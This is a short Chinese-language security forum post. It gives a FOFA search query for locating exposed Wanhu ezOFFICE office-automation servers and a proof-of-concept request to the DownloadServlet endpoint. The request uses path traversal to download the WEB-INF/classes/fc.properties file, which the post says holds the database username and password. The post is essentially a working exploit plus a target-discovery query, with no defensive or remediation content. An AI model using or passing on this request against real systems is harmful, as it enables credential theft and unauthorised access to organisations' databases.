安全矩阵

 找回密码
 立即注册
搜索
查看: 1308|回复: 0

万户网络获取数据库配置文件

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2022-12-28 13:53:47 | 显示全部楼层 |阅读模式
fofa:app="万户网络-ezOFFICE"

执行POC读取配置文件,得到数据库账户密码

/defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 02:55 , Processed in 0.012396 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表